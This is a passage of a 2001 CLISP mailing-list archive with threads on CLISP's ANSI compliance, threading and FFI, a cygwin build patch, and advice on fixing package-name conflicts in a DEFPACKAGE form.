(65.102.192.2) by dnvrpop8.dnvr.uswest.net with SMTP; 10 Dec 2001 21:48:32 -0000 Message-Id: <01121015432908.11448@cube.syzygyx.com> From: "Daniel Charles McShan" To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset="iso-8859-1" Organization: Syzygyx.com X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Subject: [clisp-list] High Performancs Clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 10 13:49:03 2001 X-Original-Date: Mon, 10 Dec 2001 15:43:29 -0700 Hello. I'm interested in developing some high performance lisp applications. Much of the legacy code is in Allegro Common Lisp. I have a few questions: 1) How much of ANSI Common Lisp is implemented in CLISP? 2) Is it compatible with Franz Allegro? 3) How many CLISP users? 4) How many CLISP developers? 5) How stable is clisp? 6) What is your threading strategy? Do you support native threads? I want to take advantage of SMP machines. 7) Has anybody ported/used clisp for linux on ppc? 8) Do you know of an ANSI Common Lisp test suite? Okay, that's all for now. -- Daniel Charles McShan Syzygyx, Incorporated Tel: 303-347-9889 2901-D W Long Drive Cel: 720-635-9842 Littleton, CO 80120 mailto://dan@syzygyx.com http://www.syzygyx.com From samuel.steingold@verizon.net Mon Dec 10 15:27:40 2001 Received: from smtp006pub.verizon.net ([206.46.170.185]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16DZpj-0002Pp-00 for ; Mon, 10 Dec 2001 15:27:39 -0800 Received: from xchange.com (pool-151-203-224-73.bos.east.verizon.net [151.203.224.73]) by smtp006pub.verizon.net with ESMTP ; id fBANROd22437 Mon, 10 Dec 2001 17:27:26 -0600 (CST) To: "Daniel Charles McShan" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] High Performancs Clisp References: <01121015432908.11448@cube.syzygyx.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <01121015432908.11448@cube.syzygyx.com> Message-ID: Lines: 71 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 10 15:28:01 2001 X-Original-Date: 10 Dec 2001 18:26:24 -0500 > * In message <01121015432908.11448@cube.syzygyx.com> > * On the subject of "[clisp-list] High Performancs Clisp" > * Sent on Mon, 10 Dec 2001 15:43:29 -0700 > * Honorable "Daniel Charles McShan" writes: > > I'm interested in developing some high performance lisp applications. if the code is numeric, you would be better off using CMUCL. (not because CLISP is bad, but because CMUCL is exceptionally good there). otherwise CLISP is a good choice. > 1) How much of ANSI Common Lisp is implemented in CLISP? almost all. see and for the release and for the current development version. > 2) Is it compatible with Franz Allegro? what do you mean? wrt ANSI CL, quite compatible. (but see ). wrt Allegro extensions, no, but see . > 3) How many CLISP users? "How many CLISP users" _what_? (many readers - including myself - are not native English speakers, and correct syntax facilitates understanding :-). the mailing lists have hundreds of subscribers. see also > 4) How many CLISP developers? "How many CLISP developers" _what_? Wanna join? > 5) How stable is clisp? quite stable and mature. Yahoo store was implemented using CLISP. other projects abound. > 6) What is your threading strategy? Do you support native threads? I > want to take advantage of SMP machines. no working MT support at the moment (some docs and code only). if you are a C hacker, you can implement MT for CLISP and earn some money (around $2-5k) and lotsa fame. > 7) Has anybody ported/used clisp for linux on ppc? AFAIU, CLISP runs on linux/ppc out of the box. (if it does not, porting CLISP is not usually hard). is another option. > 8) Do you know of an ANSI Common Lisp test suite? CLISP comes with one. CLOCC/src/tools/ansi-test () is derived from ours. I hope others will chime in. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! He who laughs last thinks slowest. From dan@syzygyx.com Mon Dec 10 15:49:30 2001 Received: from dnvrpop6.dnvr.uswest.net ([206.196.128.8]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16DaAr-0005WC-00 for ; Mon, 10 Dec 2001 15:49:29 -0800 Received: (qmail 44388 invoked by uid 0); 10 Dec 2001 23:49:28 -0000 Received: from dnvr-dsl-gw29-poola2.dnvr.uswest.net (HELO cube.syzygyx.com) (65.102.192.2) by dnvrpop6.dnvr.uswest.net with SMTP; 10 Dec 2001 23:49:28 -0000 Message-Id: <01121017442504.12042@cube.syzygyx.com> From: "Daniel Charles McShan" To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset="iso-8859-1" Organization: Syzygyx.com Subject: Re: [clisp-list] High Performancs Clisp X-Mailer: KMail [version 1.2] References: <01121015432908.11448@cube.syzygyx.com> In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 10 15:50:02 2001 X-Original-Date: Mon, 10 Dec 2001 17:44:25 -0700 I was asking about the number of users and developers to get a feel for the robustness of the "bazaar", if you will. I find that there are many open source projects around, and a good metric for the quality of the software is often the number of users and the number of developers. Sorry for any confusion. I might be interested in assembling a MT implementation. I'm also considering a similar task for a Java project. I've always wanted to be famous! A few more questions: Are you the "official" gnu common lisp? How do you relate to GCL? How robust is your FFI? Do you have a "cbind" like utility for parsing C headers? Do you support shared objects? (Question asked without actually reviewing your documentation - sorry). Dan On Monday 10 December 2001 04:26, Sam Steingold wrote: > > * In message <01121015432908.11448@cube.syzygyx.com> > > * On the subject of "[clisp-list] High Performancs Clisp" > > * Sent on Mon, 10 Dec 2001 15:43:29 -0700 > > * Honorable "Daniel Charles McShan" writes: > > > > I'm interested in developing some high performance lisp applications. > > if the code is numeric, you would be better off using CMUCL. > (not because CLISP is bad, but because CMUCL is exceptionally good there). > otherwise CLISP is a good choice. > > > 1) How much of ANSI Common Lisp is implemented in CLISP? > > almost all. > see and > for the release and > impnotes.html?rev=HEAD&content-type=text/html#cl-symb> for the current > development version. > > > 2) Is it compatible with Franz Allegro? > > what do you mean? > wrt ANSI CL, quite compatible. > (but see ). > wrt Allegro extensions, no, but see > . > > > 3) How many CLISP users? > > "How many CLISP users" _what_? > (many readers - including myself - are not native English speakers, > and correct syntax facilitates understanding :-). > the mailing lists have hundreds of subscribers. > see also > > > 4) How many CLISP developers? > > "How many CLISP developers" _what_? > > Wanna join? > > > 5) How stable is clisp? > > quite stable and mature. > Yahoo store was implemented using CLISP. > other projects abound. > > > 6) What is your threading strategy? Do you support native threads? I > > want to take advantage of SMP machines. > > no working MT support at the moment (some docs and code only). > if you are a C hacker, you can implement MT for CLISP and earn some > money (around $2-5k) and lotsa fame. > > > 7) Has anybody ported/used clisp for linux on ppc? > > AFAIU, CLISP runs on linux/ppc out of the box. > (if it does not, porting CLISP is not usually hard). > is another option. > > > 8) Do you know of an ANSI Common Lisp test suite? > > CLISP comes with one. > CLOCC/src/tools/ansi-test () is derived from ours. > > I hope others will chime in. -- Daniel Charles McShan Syzygyx, Incorporated Tel: 303-347-9889 2901-D W Long Drive Cel: 720-635-9842 Littleton, CO 80120 mailto://dan@syzygyx.com http://www.syzygyx.com From samuel.steingold@verizon.net Mon Dec 10 17:47:40 2001 Received: from smtp002pub.verizon.net ([206.46.170.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Dc1C-0005r7-00 for ; Mon, 10 Dec 2001 17:47:38 -0800 Received: from xchange.com (pool-151-203-224-73.bos.east.verizon.net [151.203.224.73]) by smtp002pub.verizon.net with ESMTP ; id fBB1lMP04555 Mon, 10 Dec 2001 19:47:28 -0600 (CST) To: "Daniel Charles McShan" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] High Performancs Clisp References: <01121015432908.11448@cube.syzygyx.com> <01121017442504.12042@cube.syzygyx.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <01121017442504.12042@cube.syzygyx.com> Message-ID: Lines: 63 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 10 17:48:05 2001 X-Original-Date: 10 Dec 2001 20:46:33 -0500 > * In message <01121017442504.12042@cube.syzygyx.com> > * On the subject of "Re: [clisp-list] High Performancs Clisp" > * Sent on Mon, 10 Dec 2001 17:44:25 -0700 > * Honorable "Daniel Charles McShan" writes: > > I was asking about the number of users and developers to get a feel > for the robustness of the "bazaar", if you will. I find that there > are many open source projects around, and a good metric for the > quality of the software is often the number of users and the number of > developers. Sorry for any confusion. 95th percentile on SourceForge (we are the top Lisp project there) is in indicator. I am not sure your metric is any good. Perl wins in it. :-) > I might be interested in assembling a MT implementation. I'm also > considering a similar task for a Java project. I've always wanted to > be famous! Java already has threads built in. I don't understand what you might mean. At any rate, read src/xthreads.d and doc/multithread.txt if you are interested. This _is_ a large task. > Are you the "official" gnu common lisp? GNU CLISP is a "GNU program", as is GCL. The GNU project distributes both. > How do you relate to GCL? no relationship. GCL is CLTL1, basically unmaintained now (but watch ECLS, which comes from the same root). > How robust is your FFI? quite. see . > Do you have a "cbind" like utility for parsing C headers? not really. I have some CL code, but it's not finished. See CLOCC/CLLIB/h2lisp. See also what's cbind? > Do you support shared objects? yes. see > (Question asked without actually reviewing your documentation - > sorry). it shows. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Hard work has a future payoff. Laziness pays off NOW. From David.Billinghurst@riotinto.com Mon Dec 10 22:07:59 2001 Received: from old-n2-130.infonet.com ([192.157.130.138] helo=old-n2.infonet.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Dg58-00079R-00 for ; Mon, 10 Dec 2001 22:07:58 -0800 Received: from infexch01.infonet.com (infexch01 [192.92.62.83]) by old-n2.infonet.com (8.11.3/8.6.12) with ESMTP id fBB67MA28432; Tue, 11 Dec 2001 06:07:24 GMT Received: by INFEXCH01 with Internet Mail Service (5.5.2653.19) id ; Tue, 11 Dec 2001 06:07:51 -0000 Message-ID: <8D00C32549556B4E977F81DBC24E985D4100E5@crtsmail1.technol_exch.corp.riotinto.org> From: "Billinghurst, David (CRTS)" To: "'dan.stanger@ieee.org'" Cc: "'cygwin@cygwin.com'" , "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] RE: building clisp on cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 10 22:08:03 2001 X-Original-Date: Tue, 11 Dec 2001 06:07:30 -0000 OK. The ualarm stuff is very new in cygwin - since my build of clisp - and it wasn't quite right at first. With: - cygwin-1.3.6-6, - the clisp patches I posted a few weeks ago - the following hacks to - clisp-2.27/src/unix.d - clisp-2.27/src/unixaux.d I got a successful build. Still one failure with "make check". These patches just disables some cygwin support that is no longer required, and removes a conflicting definition of ualarm. Not a neat fix, but it is a start. --- unixaux.d.orig Tue Dec 11 14:50:00 2001 +++ unixaux.d Tue Dec 11 15:43:48 2001 @@ -511,7 +511,7 @@ } # ---------------------------------------------------------------------------- - - +#if 0 # The library's alarm() function is just a dummy. #include @@ -556,6 +556,7 @@ alarm_thread = NULL; return 0; } + global unsigned int alarm (seconds) unsigned int seconds; { @@ -616,6 +617,7 @@ } return remaining; } +#endif # ---------------------------------------------------------------------------- - -----Original Message----- From: Dan Stanger [mailto:dan.stanger@ieee.org] Sent: Monday, 10 December 2001 2:44 To: Billinghurst, David (CRTS) Subject: building clisp Did you have a problem with ualarm? Which version of cygwin did you use? Thanks, Dan Stanger From amoroso@mclink.it Tue Dec 11 02:45:09 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16DkPJ-0004qP-00 for ; Tue, 11 Dec 2001 02:45:05 -0800 Received: from net145-050.mclink.it (net145-050.mclink.it [195.110.145.50]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id fBBAiuq14168 for ; Tue, 11 Dec 2001 11:44:56 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] High Performancs Clisp Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <01121015432908.11448@cube.syzygyx.com> In-Reply-To: <01121015432908.11448@cube.syzygyx.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 02:46:02 2001 X-Original-Date: Tue, 11 Dec 2001 11:42:23 +0100 On Mon, 10 Dec 2001 15:43:29 -0700, Daniel Charles McShan wrote: > 3) How many CLISP users? I can't tell. But some users have developed high visibility applications, such as Paul Graham with Yahoo! Store (formerly ViaWeb Store). Check the success stories page at CLiki: http://ww.telent.net/cliki A while and a half back Bruno asked users how they were using CLISP. I don't know whether those messages are in the archive. If anybody is interested, I can collect the most interesting replies and post them here. > 4) How many CLISP developers? Up to 4: Bruno, Michael, Pierpaolo and Sam. Maintainers: is this correct? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From amoroso@mclink.it Tue Dec 11 02:45:12 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16DkPN-0004qq-00 for ; Tue, 11 Dec 2001 02:45:10 -0800 Received: from net145-050.mclink.it (net145-050.mclink.it [195.110.145.50]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id fBBAj0q14264 for ; Tue, 11 Dec 2001 11:45:00 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] High Performancs Clisp Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <01121015432908.11448@cube.syzygyx.com> <01121017442504.12042@cube.syzygyx.com> In-Reply-To: <01121017442504.12042@cube.syzygyx.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 02:46:03 2001 X-Original-Date: Tue, 11 Dec 2001 11:42:28 +0100 On Mon, 10 Dec 2001 17:44:25 -0700, Daniel Charles McShan wrote: > I was asking about the number of users and developers to get a feel for the > robustness of the "bazaar", if you will. I find that there are many open I think CLISP's bazaar is quite robust. I have been using CLISP since around 1992, but the project started a few years earlier. CLISP has been under regular development, with frequent new releases, at least since then. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From edi@agharta.de Tue Dec 11 05:10:03 2001 Received: from bird.agharta.de ([62.159.208.85]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16DmfV-0004K9-00 for ; Tue, 11 Dec 2001 05:09:57 -0800 Received: by bird.agharta.de (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 1CA5F12EA11; Tue, 11 Dec 2001 14:09:34 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] High Performancs Clisp References: <01121015432908.11448@cube.syzygyx.com> From: edi@agharta.de (Dr. Edmund Weitz) In-Reply-To: Message-ID: Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 05:11:02 2001 X-Original-Date: 11 Dec 2001 14:09:34 +0100 Paolo Amoroso writes: > A while and a half back Bruno asked users how they were using > CLISP. I don't know whether those messages are in the archive. If > anybody is interested, I can collect the most interesting replies > and post them here. That would be interesting, yes. Edi. From yoda@dagobah.com Tue Dec 11 06:27:08 2001 Received: from sj1-3-4-7.iserver.com ([192.220.127.200]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16DnsA-00009J-00 for ; Tue, 11 Dec 2001 06:27:06 -0800 Received: (qmail 57868 invoked by uid 18637); 11 Dec 2001 14:27:05 -0000 To: clisp-list@lists.sourceforge.net From: Adam Delivered-To: clisp@dagobah.com Mime-Version: 1.0 (Apple Message framework v475) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Message-Id: <13194706-EE43-11D5-A5BE-0003931B947E@dagobah.com> Subject: [clisp-list] problems with packages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 06:28:03 2001 X-Original-Date: Tue, 11 Dec 2001 06:26:32 -0800 I recently upgraded clisp to 2.27, from FreeBSD ports. I'm not sure the previous version, but the package was dated 2000.03.06. I'm still fairly new to lisp, so I may be missing some basic ideas here. I'm using le-sursis as an html-generating library, but with the upgrade it's failing to work. Here is the top of sursis-html.lsp: (in-package 'sursis-html :use 'common-lisp) (defpackage sursis-html (:use common-lisp) (:nicknames s-html) (:export sa-tag tag http-response html head title body p h1 h2 h3 h4 h5 h6 b i tt center blockquote pre img br hr a anchor ol ul li dl dt dd table tr td comment)) The first error I get is [22]> (load "sursis-html.lsp") *** - IN-PACKAGE: argument 'SURSIS-HTML should be a string or a symbol So I change the first line to (in-package :sursis-html :use :common-lisp) Now I get [23]> (load "sursis-html.lsp") *** - There is no package with name "SURSIS-HTML" So I move the in-package below the defpackage. Now I can load the package, and access it with explicit names, like (s-html:head), but I want it in my namespace. For some reason, using the symbol works here, but I get a big list of name conflicts: [24]> (use-package 's-html) ** - Continuable Error 35 name conflicts while executing USE-PACKAGE of (#) into package #. 1. Break [25]> which symbol with name "P" should be accessible in # ? Please choose: 1 -- SURSIS-HTML 2 -- COMMON-LISP-USER >> And so on for all the exported symbols. But if I choose #2 (or run clisp again) [26]> (p) *** - EVAL: the function P is undefined [27]> p *** - EVAL: variable P has no value I looked through the changelog, but didn't find anything. Can someone enlighten me? Thanks Adam From marcoxa@cs.nyu.edu Tue Dec 11 06:52:05 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16DoGI-0004wR-00 for ; Tue, 11 Dec 2001 06:52:02 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id fBBEpp403341; Tue, 11 Dec 2001 09:51:51 -0500 Message-Id: <200112111451.fBBEpp403341@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: dan@syzygyx.com, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 10 Dec 2001 20:46:33 -0500) Subject: Re: [clisp-list] High Performancs Clisp References: <01121015432908.11448@cube.syzygyx.com> <01121017442504.12042@cube.syzygyx.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 06:53:04 2001 X-Original-Date: Tue, 11 Dec 2001 09:51:51 -0500 > From: Sam Steingold > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net ... > > > Do you have a "cbind" like utility for parsing C headers? > > not really. I have some CL code, but it's not finished. > See CLOCC/CLLIB/h2lisp. > See also > > what's cbind? Yep. What is 'cbind'. Also, what are the differences between your h2lisp and Cparse? Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From samuel.steingold@verizon.net Tue Dec 11 07:29:04 2001 Received: from out006pub.verizon.net ([206.46.170.106]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Doq6-0007Gl-00 for ; Tue, 11 Dec 2001 07:29:02 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out006pub.verizon.net with ESMTP ; id fBBFQOY05568 Tue, 11 Dec 2001 09:26:25 -0600 (CST) To: Adam Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems with packages References: <13194706-EE43-11D5-A5BE-0003931B947E@dagobah.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <13194706-EE43-11D5-A5BE-0003931B947E@dagobah.com> Message-ID: Lines: 71 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 07:30:02 2001 X-Original-Date: 11 Dec 2001 10:28:39 -0500 > * In message <13194706-EE43-11D5-A5BE-0003931B947E@dagobah.com> > * On the subject of "[clisp-list] problems with packages" > * Sent on Tue, 11 Dec 2001 06:26:32 -0800 > * Honorable Adam writes: > > (in-package 'sursis-html :use 'common-lisp) this is a cltl1 form. see CLHS > (defpackage sursis-html > (:use common-lisp) > (:nicknames s-html) > (:export sa-tag tag http-response html head title body p h1 h2 h3 h4 > h5 h6 b i tt center blockquote pre img br hr a anchor ol ul > li dl dt dd table tr td comment)) > So I move the in-package below the defpackage. good. > Please choose: > 1 -- SURSIS-HTML > 2 -- COMMON-LISP-USER > >> > > And so on for all the exported symbols. But if I choose #2 (or run > clisp again) you should have chosen #1. okay, the short answer is that you should read a Lisp book (e.g., Paul Graham's "ANSI CL"). a longer answer is that when CL sees the DEFPACKAGE form, it is in the COMMON-LISP-USER package, so the :EXPORT args are read and interned there. (_before_ being interened and exported from SURSIS-HTML). Thus conflicts. TRT is _not_ to use plain symbols before the IN-PACKAGE form, unless you do know what and why you are doing (and the rule is -- you never need this). Use strings, keywords or uninterned symbols. I recommend strings since they create least garbage. So I would re-write the preamble as follows: (defpackage "SURSIS-HTML" (:use "COMMON-LISP") (:nicknames "S-HTML") (:export "SA-TAG" "TAG" "HTTP-RESPONSE" "HTML" "HEAD" "TITLE" "BODY" "P" "H1" "H2" "H3" "H4" "H5" "H6" "B" "I" "TT" "CENTER" "BLOCKQUOTE" "PRE" "IMG" "BR" "HR" "A" "ANCHOR" "OL" "UL" "LI" "DL" "DT" "DD" "TABLE" "TR" "TD" "COMMENT")) (in-package "SURSIS-HTML") An alternative is: (defpackage "SURSIS-HTML" (:use "COMMON-LISP") (:nicknames "S-HTML")) (in-package "SURSIS-HTML") (export '(sa-tag tag http-response html head title body p h1 h2 h3 h4 h5 h6 b i tt center blockquote pre img br hr a anchor ol ul li dl dt dd table tr td comment)) the "preferred ANSI way" is to collect everything in the DEFPACKAGE form, as in my first example. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Someone has changed your life. Save? (y/n) From dan@syzygyx.com Tue Dec 11 07:31:46 2001 Received: from dnvrpop7.dnvr.uswest.net ([206.196.128.9]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Dosh-00085H-00 for ; Tue, 11 Dec 2001 07:31:43 -0800 Received: (qmail 78285 invoked by uid 0); 11 Dec 2001 15:31:36 -0000 Received: from dnvr-dsl-gw29-poola2.dnvr.uswest.net (HELO picturebook) (65.102.192.2) by dnvrpop7.dnvr.uswest.net with SMTP; 11 Dec 2001 15:31:36 -0000 Message-ID: <001a01c18258$eb8cf120$1500000a@syzygyx.com> From: "Dan McShan" To: clisp-list@lists.sourceforge.net References: <01121015432908.11448@cube.syzygyx.com> <01121017442504.12042@cube.syzygyx.com> <200112111451.fBBEpp403341@octagon.mrl.nyu.edu> Subject: Re: [clisp-list] High Performancs Clisp Organization: Syzygyx, Incorporated MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 11 07:32:04 2001 X-Original-Date: Tue, 11 Dec 2001 08:31:34 -0700 cbind is a (somewhat obscure) lisp tool distributed by Franz that parses a C/C++ header file and generates macros (ff:bind-c-function) which ultimately implement Franz's FFI (ff:bind-c-export). It will also emit C code required for callbacks. There is a version available online at ftp.franz.com/pub/cbind It is implemented with some kludges to gcc. They have binaries for solaris, windows, and irix. But porting is straightforward (if kludgy) - you actually have to download gcc 2.7.2, patch it and recompile to create a special version of gcc for cbind. Dan ----- Original Message ----- From: "Marco Antoniotti" To: Cc: ; Sent: Tuesday, December 11, 2001 7:51 AM Subject: Re: [clisp-list] High Performancs Clisp > > > > From: Sam Steingold > > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 > > Content-Type: text/plain; charset=us-ascii > > Sender: clisp-list-admin@lists.sourceforge.net > > ... > > > > > > Do you have a "cbind" like utility for parsing C headers? > > > > not really. I have some CL code, but it's not finished. > > See CLOCC/CLLIB/h2lisp. > > See also > > > > what's cbind? > > Yep. What is 'cbind'. Also, what are the differences between your > h2lisp and Cparse? > > Cheers > > > -- > Marco Antoniotti ======================================================== > NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 > 719 Broadway 12th Floor fax +1 - 212 - 995 4122 > New York, NY 10003, USA http://bioinformatics.cat.nyu.edu > "Hello New York! We'll do what we can!" > Bill Murray in `Ghostbusters'. From amoroso@mclink.it Tue Dec 11 12:00:05 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Dt4N-0005VO-00 for ; Tue, 11 Dec 2001 12:00:03 -0800 Received: from net145-113.mclink.it (net145-113.mclink.it [195.110.145.113]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id fBBJxsq20567 for ; Tue, 11 Dec 2001 20:59:55 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] High Performancs Clisp Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <01121015432908.11448@cube.syzygyx.com> In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: multipart/mixed; 